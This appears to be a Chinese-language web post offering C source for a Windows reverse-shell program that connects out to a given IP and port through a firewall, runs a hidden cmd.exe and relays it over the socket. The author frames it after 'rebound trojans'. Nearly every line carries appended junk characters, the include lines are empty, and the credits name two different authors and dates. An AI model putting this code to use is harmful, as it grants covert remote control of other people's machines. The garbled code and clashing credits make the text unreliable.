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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 fk x \=  
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/* ============================== wGP;Vbk  
Rebound port in Windows NT iB& 4>+N+  
By wind,2006/7 ikSt"}/hd  
===============================*/ [+DW >Et  
#include ssN6M./6  
#include lH6OcD:kj  
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#pragma comment(lib,"wsock32.lib") L>R P-x>  
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void OutputShell(); `I,,C,{C  
SOCKET sClient; %s(k_|G+4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "*srx]  
65aK2MS@  
void main(int argc,char **argv) uW} s)j.  
{ Us0EG\Y  
WSADATA stWsaData; #kaY0M  
int nRet; <,e+ kL{  
SOCKADDR_IN stSaiClient,stSaiServer; 1NgCw\  
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if(argc != 3) jGpN,/VQa  
{ +2&@x=xy  
printf("Useage:\n\rRebound DestIP DestPort\n"); X6@WwM~qz  
return; 9|gr0&#~j  
} 'g m0)r  
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WSAStartup(MAKEWORD(2,2),&stWsaData); s)6U_  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?-dX`n  
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stSaiClient.sin_family = AF_INET; \Ani}qQ%|  
stSaiClient.sin_port = htons(0); K|hjEQRv  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yEhTNBa*h{  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) noml8o  
{ %R}.#,Suo  
printf("Bind Socket Failed!\n"); }:KEj_~.  
return; Vt".%d/`7  
} yl7&5)b#9  
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stSaiServer.sin_family = AF_INET; ,0~n3G  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); '+?"iVVo  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); O Hb[qX\  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (nlvl?\d  
{ %'s>QF]'  
printf("Connect Error!"); odjT:Vr  
return; uj R_"r|l  
} w~"KA6^  
OutputShell(); 1^7hf;|#g  
} UQC=g  
['B?i1 .  
void OutputShell() KLitg6&P  
{ j}JrE,|  
char szBuff[1024]; Rn9m]x  
SECURITY_ATTRIBUTES stSecurityAttributes; s'E2P[:  
OSVERSIONINFO stOsversionInfo; &U5{Hm9Ynr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {B?Wu3-  
STARTUPINFO stStartupInfo; V )x$|!(  
char *szShell; &eCa0s?mI  
PROCESS_INFORMATION stProcessInformation; :U3kW8;UMP  
unsigned long lBytesRead; [<g?WPCcC  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GT}F9F~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?'@8kpb  
stSecurityAttributes.lpSecurityDescriptor = 0; {|&5_][  
stSecurityAttributes.bInheritHandle = TRUE; _aad=BrMK  
q Gw -tPD<  
TMlP*d#  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >L;eO'D  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z(_Ss@ $  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `e}bdj  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tD(7^GuR  
stStartupInfo.wShowWindow = SW_HIDE; zR1^I~ %  
stStartupInfo.hStdInput = hReadPipe; -@yh> 8v  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #(#Wv?r6  
)Dw,q~xgg0  
GetVersionEx(&stOsversionInfo); Oiz ,w7LRh  
7n8~K3~;  
switch(stOsversionInfo.dwPlatformId) ryW'Z{+r'  
{ ?s\:hNNY  
case 1: cZB7fmq%  
szShell = "command.com"; Ox&P}P0f  
break; < Z{HX[y  
default: =XucOli6  
szShell = "cmd.exe"; iOR_[y,  
break; HJXT9;w  
} *.sVr7=j  
b$ve sJ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *c~T@m~DR  
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send(sClient,szMsg,77,0); gVq;m>\|F  
while(1) :3XA!o&.T3  
{ Hyb3 ;yQ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >XY`*J^  
if(lBytesRead) o<<xY<  
{ *5vV6][  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CdasP9"1  
send(sClient,szBuff,lBytesRead,0); ?EJD?,}  
} [5zx17'  
else -yE/f2PgQ  
{ !/}O>v~o  
lBytesRead=recv(sClient,szBuff,1024,0); [`{Z}q&  
if(lBytesRead<=0) break; WF1px%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $FlW1E j  
} Bg&i63XL$$  
} c_-drS  
<KE 1f7c  
return; ;3d"wW]}7K  
}
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